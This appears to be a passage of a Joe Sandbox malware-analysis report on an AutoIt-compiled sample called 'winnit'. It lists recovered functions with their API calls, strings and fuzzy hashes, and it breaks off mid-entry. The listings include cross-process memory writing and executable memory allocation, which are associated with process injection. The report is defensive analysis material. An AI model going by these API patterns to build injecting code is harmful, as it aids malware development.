                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: _memmove$Exception@8Throw__swprintfstd::exception::exception
                                          • String ID: \\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs]
                                          • API String ID: 1943609520-557222456
                                          • Opcode ID: 2643c66b7be9a4dba778f79a19fd7ce2ceb431f94f374386584b9919992dc830
                                          • Instruction ID: 6588281c585299bfc9acdca4f44961e089f802809fc208db1632894bae5044d8
                                          • Opcode Fuzzy Hash: 2643c66b7be9a4dba778f79a19fd7ce2ceb431f94f374386584b9919992dc830
                                          • Instruction Fuzzy Hash: A3917D715082059FC714EF68C985EBFBBB8EF85710F00491EF5969B2A2EA70ED44CB52
                                          Function 00B1B93B Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 261comCOMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00AB4750: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00AB4743,?,?,00AB37AE,?), ref: 00AB4770
                                          • CoInitialize.OLE32(00000000), ref: 00B1B9BB
                                          • CoCreateInstance.OLE32(00B42D6C,00000000,00000001,00B42BDC,?), ref: 00B1B9D4
                                          • CoUninitialize.OLE32 ref: 00B1B9F1
                                            • Part of subcall function 00AB9837: __itow.LIBCMT ref: 00AB9862
                                            • Part of subcall function 00AB9837: __swprintf.LIBCMT ref: 00AB98AC
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: CreateFullInitializeInstanceNamePathUninitialize__itow__swprintf
                                          • String ID: .lnk
                                          • API String ID: 2126378814-24824748
                                          • Opcode ID: 90611eee2e55c4713ef17d9f1ae0c8792f5a142acb55f9de20bd41092d22d613
                                          • Instruction ID: 436404d6cd5fe85364efaeaa8a0417ec05feb16a79a5682f816bbfb0898f767e
                                          • Opcode Fuzzy Hash: 90611eee2e55c4713ef17d9f1ae0c8792f5a142acb55f9de20bd41092d22d613
                                          • Instruction Fuzzy Hash: 3FA166756043019FCB00DF54C584DAABBE9FF89314F148998F9999B3A2CB31ED86CB91
                                          Function 00AD501D Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 180COMMON
                                          Download Yara Rule
                                          APIs
                                          • __startOneArgErrorHandling.LIBCMT ref: 00AD50AD
                                            • Part of subcall function 00AE00F0: __87except.LIBCMT ref: 00AE012B
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: ErrorHandling__87except__start
                                          • String ID: pow
                                          • API String ID: 2905807303-2276729525
                                          • Opcode ID: 380f5b5c04b3614308f8caa3d197a46ed70cd393a0a000221f70b66689fc27c5
                                          • Instruction ID: 889bdf0e673c47a827282e40ae99c97d0bf9d5573e4dbcc7afd72e62d786c027
                                          • Opcode Fuzzy Hash: 380f5b5c04b3614308f8caa3d197a46ed70cd393a0a000221f70b66689fc27c5
                                          • Instruction Fuzzy Hash: D6515C71D0C5428ADB117735C941B6E3BE4EB41700F248E5AF5D78A3A9DFB48EC4DA82
                                          Function 00AC6192 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 141COMMON
                                          Download Yara Rule
                                          APIs
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: _memset$_memmove
                                          • String ID: ERCP
                                          • API String ID: 2532777613-1384759551
                                          • Opcode ID: 275848d5d4a89fd59c711e950e6b685c84426315b1f9d3b9da80883ddbb1617e
                                          • Instruction ID: 339b638860507c9837121534fb2685d07f8cfc740b34403e06e042aa885f4c20
                                          • Opcode Fuzzy Hash: 275848d5d4a89fd59c711e950e6b685c84426315b1f9d3b9da80883ddbb1617e
                                          • Instruction Fuzzy Hash: FE518E71900705DBDB24DF69C981BEABBF4EF08304F2145BEE84ACB291E770AA44CB50
                                          Function 00B097F5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 122windowCOMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00B114BC: WriteProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,00B09296,?,?,00000034,00000800,?,00000034), ref: 00B114E6
                                          • SendMessageW.USER32(?,00001104,00000000,00000000), ref: 00B0983F
                                            • Part of subcall function 00B11487: ReadProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,00B092C5,?,?,00000800,?,00001073,00000000,?,?), ref: 00B114B1
                                            • Part of subcall function 00B113DE: GetWindowThreadProcessId.USER32(?,?), ref: 00B11409
                                            • Part of subcall function 00B113DE: OpenProcess.KERNEL32(00000438,00000000,?,?,?,00B0925A,00000034,?,?,00001004,00000000,00000000), ref: 00B11419
                                            • Part of subcall function 00B113DE: VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000004,?,?,00B0925A,00000034,?,?,00001004,00000000,00000000), ref: 00B1142F
                                          • SendMessageW.USER32(?,00001111,00000000,00000000), ref: 00B098AC
                                          • SendMessageW.USER32(?,00001111,00000000,00000000), ref: 00B098F9
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: Process$MessageSend$Memory$AllocOpenReadThreadVirtualWindowWrite
                                          • String ID: @
                                          • API String ID: 4150878124-2766056989
                                          • Opcode ID: 04facfb7e3bd9855c9a1735ed29a20034f3151a611a639f280ec0385e0e80a57
                                          • Instruction ID: be6553df5eb422cc4310d6204528275ac2eea7aa06e7b9fd26a4790a5dfcb416
                                          • Opcode Fuzzy Hash: 04facfb7e3bd9855c9a1735ed29a20034f3151a611a639f280ec0385e0e80a57
                                          • Instruction Fuzzy Hash: 54415F76901218BFCB10DFA4CD81ADEBBB8EB49700F104199FA55B7291DA706E85CFA0
                                          Function 00B37946 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 110COMMON
                                          Download Yara Rule
                                          APIs
                                          • SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013,?,?,SysTreeView32,00B3F910,00000000,?,?,?,?), ref: 00B379DF
                                          • GetWindowLongW.USER32 ref: 00B379FC
                                          • SetWindowLongW.USER32(?,000000F0,00000000), ref: 00B37A0C
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: Window$Long
                                          • String ID: SysTreeView32
                                          • API String ID: 847901565-1698111956
                                          • Opcode ID: 8e64bed96d814832d8f48c6c12969e0156570c6913237636bd707d1c01aa01a0
                                          • Instruction ID: c181f0d592100d873579d4b873c2dd2cf13ade691d18456006ffc3b1062b07bd
                                          • Opcode Fuzzy Hash: 8e64bed96d814832d8f48c6c12969e0156570c6913237636bd707d1c01aa01a0
                                          • Instruction Fuzzy Hash: 1131CD72644206ABDB218E38DC45BEA77E9EB09324F344725F879A32E1DB31ED518B50
                                          Function 00B373D9 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 90windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • SendMessageW.USER32(00000000,00001009,00000000,?), ref: 00B37461
                                          • SetWindowPos.USER32(?,00000000,?,?,?,?,00000004), ref: 00B37475
                                          • SendMessageW.USER32(?,00001002,00000000,?), ref: 00B37499
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: MessageSend$Window
                                          • String ID: SysMonthCal32
                                          • API String ID: 2326795674-1439706946
                                          • Opcode ID: 8efc55c3546d5e6b5c26d3f847297e853dd45d59df5b7d8c19e672405244d1d6
                                          • Instruction ID: bc8483f95191e951bce75cc252fbe38a4847203253a21f9c427439635376f139
                                          • Opcode Fuzzy Hash: 8efc55c3546d5e6b5c26d3f847297e853dd45d59df5b7d8c19e672405244d1d6
                                          • Instruction Fuzzy Hash: 2D21D372540219ABDF218F54CC42FEA3BB9EF48724F210154FE556B1D0DA75BC90CBA0
                                          Function 00B37B93 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 88windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • SendMessageW.USER32(00000000,00000469,?,00000000), ref: 00B37C4A
                                          • SendMessageW.USER32(00000000,00000465,00000000,80017FFF), ref: 00B37C58
                                          • DestroyWindow.USER32(00000000,00000000,?,?,?,00000000,msctls_updown32,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 00B37C5F
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: MessageSend$DestroyWindow
                                          • String ID: msctls_updown32
                                          • API String ID: 4014797782-2298589950
                                          • Opcode ID: e0c718fbb714744a5194384c34f1b358efc4d7dd7949dd76c479bcac7f58902f
                                          • Instruction ID: 22c99837d5d5ef2d786ec54472b3e7b226f9faea84286456f9f72c52458d56d4
                                          • Opcode Fuzzy Hash: e0c718fbb714744a5194384c34f1b358efc4d7dd7949dd76c479bcac7f58902f
                                          • Instruction Fuzzy Hash: CE217CB5604209AFDB20DF24DCC1DA737ECEB4A364B640099FA159B3A1CB71EC418A60
                                          Function 00B36CB0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • SendMessageW.USER32(00000000,00000180,00000000,?), ref: 00B36D3B
                                          • SendMessageW.USER32(?,00000186,00000000,00000000), ref: 00B36D4B
                                          • MoveWindow.USER32(?,?,?,?,?,00000000,?,?,Listbox,00000000,00000000,?,?,?,?,?), ref: 00B36D70
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: MessageSend$MoveWindow
                                          • String ID: Listbox
                                          • API String ID: 3315199576-2633736733
                                          • Opcode ID: 53dfa1938f1d354af404323e2c497f049def64126581377ad8f58acbb8cd0863
                                          • Instruction ID: ca685cb85aeffab2dfaf4afe4340feb955d61aac6985193b9a72489087baaa74
                                          • Opcode Fuzzy Hash: 53dfa1938f1d354af404323e2c497f049def64126581377ad8f58acbb8cd0863
                                          • Instruction Fuzzy Hash: 64219232600118BFDF158F54DC45FBB3BBAEF89750F61C168FA459B1A0CA719C5187A0
                                          Function 00B3770E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • SendMessageW.USER32(00000000,00000405,00000000,00000000), ref: 00B37772
                                          • SendMessageW.USER32(?,00000406,00000000,00640000), ref: 00B37787
                                          • SendMessageW.USER32(?,00000414,0000000A,00000000), ref: 00B37794
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: MessageSend
                                          • String ID: msctls_trackbar32
                                          • API String ID: 3850602802-1010561917
                                          • Opcode ID: 34887b5d0c3f60438dc73624931f6c8d1a3e92a94f7f3a291c23203d7f9a9d25
                                          • Instruction ID: f5e1e30bad42ecee95d3c2b5e872d3683aea6c88768c4f12e373849fa2fac067
                                          • Opcode Fuzzy Hash: 34887b5d0c3f60438dc73624931f6c8d1a3e92a94f7f3a291c23203d7f9a9d25
                                          • Instruction Fuzzy Hash: 91112772240208FAEF205F60CC01FEB37ACEF89B54F210128FA4192090CA71E811CB10
                                          Function 00AB4C36 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON
                                          Download Yara Rule
                                          APIs
                                          • LoadLibraryA.KERNEL32(kernel32.dll,?,00AB4B83,?), ref: 00AB4C44
                                          • GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 00AB4C56
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: AddressLibraryLoadProc
                                          • String ID: Wow64RevertWow64FsRedirection$kernel32.dll
                                          • API String ID: 2574300362-1355242751
                                          • Opcode ID: 8747e81116d65257586baa36808ef52da595c8cf53413b6143191468a5df2cca
                                          • Instruction ID: 57c431395dbe5e60baba36a1af0d0eaf91cac5588da16d08d620c7222a7f75e7
                                          • Opcode Fuzzy Hash: 8747e81116d65257586baa36808ef52da595c8cf53413b6143191468a5df2cca
                                          • Instruction Fuzzy Hash: E7D01271910B13CFD7205F31D90975A77D8AF16751F21887A9896D6171EA74D480C650
                                          Function 00AB4C03 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON
                                          Download Yara Rule
                                          APIs
                                          • LoadLibraryA.KERNEL32(kernel32.dll,?,00AB4BD0,?,00AB4DEF,?,00B752F8,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?), ref: 00AB4C11
                                          • GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 00AB4C23
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: AddressLibraryLoadProc
                                          • String ID: Wow64DisableWow64FsRedirection$kernel32.dll
                                          • API String ID: 2574300362-3689287502
                                          • Opcode ID: 7d4822d96c8792cb2829ba62408af079323c831a06a4fc4626eb44c0c751899d
                                          • Instruction ID: 101dbdd565f99db9c51232309097eafe46ce4559296eab352f354fd6b1395cc7
                                          • Opcode Fuzzy Hash: 7d4822d96c8792cb2829ba62408af079323c831a06a4fc4626eb44c0c751899d
                                          • Instruction Fuzzy Hash: 5CD01270911B13CFD7205F71D90875BBAD9EF0A751F218C7A9486D6162EAB4D480C650
                                          Function 00B30DE7 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON
                                          Download Yara Rule
                                          APIs
                                          • LoadLibraryA.KERNEL32(advapi32.dll,?,00B31039), ref: 00B30DF5
                                          • GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 00B30E07
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: AddressLibraryLoadProc
                                          • String ID: RegDeleteKeyExW$advapi32.dll
                                          • API String ID: 2574300362-4033151799
                                          • Opcode ID: b79b78b02af7c7eff16029d1da730fc5bda2cd306559518e5557d4e0fd30cb98
                                          • Instruction ID: cc0b29c0ea984d778d4a2fea0fcba0310f6749b2a9927c72a74dbbd3ab135111
                                          • Opcode Fuzzy Hash: b79b78b02af7c7eff16029d1da730fc5bda2cd306559518e5557d4e0fd30cb98
                                          • Instruction Fuzzy Hash: B7D01270910723CFD7245F75D81865776D9EF15352F218C7E9486D2160DBB4D490CA51
                                          Function 00B290E0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON
                                          Download Yara Rule
                                          APIs
                                          • LoadLibraryA.KERNEL32(kernel32.dll,00000001,00B28CF4,?,00B3F910), ref: 00B290EE
                                          • GetProcAddress.KERNEL32(00000000,GetModuleHandleExW), ref: 00B29100
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: AddressLibraryLoadProc
                                          • String ID: GetModuleHandleExW$kernel32.dll
                                          • API String ID: 2574300362-199464113
                                          • Opcode ID: 5a84b36d675da0474696c9ee3e2370eb6abaa78fb11c3b22ea71961ba86d2325
                                          • Instruction ID: 4e7f2d0aa3bf9f0db68011de332c6733b5e2e541feb81ea7bd450e6fb1b55da1
                                          • Opcode Fuzzy Hash: 5a84b36d675da0474696c9ee3e2370eb6abaa78fb11c3b22ea71961ba86d2325
                                          • Instruction Fuzzy Hash: 71D01274950723DFDB209F31E81961676D5EF15352F218C799889E6560EA74C480C690
                                          Function 00AF1714 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 17timeCOMMON
                                          Download Yara Rule
                                          APIs
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: LocalTime__swprintf
                                          • String ID: %.3d$WIN_XPe
                                          • API String ID: 2070861257-2409531811
                                          • Opcode ID: d539879300948fd4338acc90d0fe0f59afa4dbdf93a642708eadedf8464f17b5
                                          • Instruction ID: 6bdd51e9710d43d38fb5549152f97be95021ad9093a6df6392081dba61adcdc2
                                          • Opcode Fuzzy Hash: d539879300948fd4338acc90d0fe0f59afa4dbdf93a642708eadedf8464f17b5
                                          • Instruction Fuzzy Hash: 0FD0127180410DFBCB10A6D09D89CFA73BCA719351F200452B60BE2040E6369754DE21
                                          Function 00B0717D Relevance: 6.3, APIs: 4, Instructions: 333COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 755c0a17feb185d2bb9581b0254b0992858bbb832e5b0a57983f8afd00ac0b80
                                          • Instruction ID: 87d0067cff259253bffb2832e10b2ec69369ee8aa629baf8ce743f8da742fc8f
                                          • Opcode Fuzzy Hash: 755c0a17feb185d2bb9581b0254b0992858bbb832e5b0a57983f8afd00ac0b80
                                          • Instruction Fuzzy Hash: ADC11675E04216AFDB14CFA4C884AAEFBF5FF48714B158598E805EB291DB30ED81DB90
                                          Function 00B2E02A Relevance: 6.3, APIs: 4, Instructions: 307memoryCOMMON
                                          Download Yara Rule
                                          APIs
                                          • CharLowerBuffW.USER32(?,?), ref: 00B2E0BE
                                          • CharLowerBuffW.USER32(?,?), ref: 00B2E101
                                            • Part of subcall function 00B2D7A5: CharLowerBuffW.USER32(?,?,?,?,00000000,?,?), ref: 00B2D7C5
                                          • VirtualAlloc.KERNEL32(00000000,00000077,00003000,00000040), ref: 00B2E301
                                          • _memmove.LIBCMT ref: 00B2E314
                                          Memory Dump Source
